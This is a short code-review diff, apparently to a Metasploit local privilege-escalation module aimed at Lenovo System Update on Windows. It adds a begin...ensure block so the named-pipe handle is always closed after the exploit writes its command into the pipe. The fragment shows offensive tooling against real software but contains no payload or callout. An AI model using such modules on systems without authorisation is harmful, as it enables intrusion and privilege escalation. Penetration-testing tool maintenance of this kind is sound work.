Adding begin...ensure block

Author: lilou1337

modules/exploits/windows/local/lenovo_systemupdate.rb

@@ -93,22 +93,26 @@ def write_named_pipe(pipe, command)
       vprint_good("Opended #{pipe}! Proceeding...")
     end
 
-    # First, write the string length as Int32 value
-    w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
+    begin
 
-    if w['return'] == false
-      print_error('The was an error writing to pipe, check permissions')
-      return false
-    end
+      # First, write the string length as Int32 value
+      w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
 
-    # Then we send the real command
-    w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
+      if w['return'] == false
+        print_error('The was an error writing to pipe, check permissions')
+        return false
+      end
 
-    if w['return'] == false
-      print_error('The was an error writing to pipe, check permissions')
-      return false
-    end
+      # Then we send the real command
+      w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
 
+      if w['return'] == false
+        print_error('The was an error writing to pipe, check permissions')
+        return false
+      end
+    ensure
+      session.railgun.kernel32.CloseHandle(handle)
+    end
     true
   end
 
@@ -156,7 +160,6 @@ def exploit
     begin
       cd(temp_dir)
     rescue Rex::Post::Meterpreter::RequestError
-      session.railgun.kernel32.CloseHandle(handle)
       fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
     end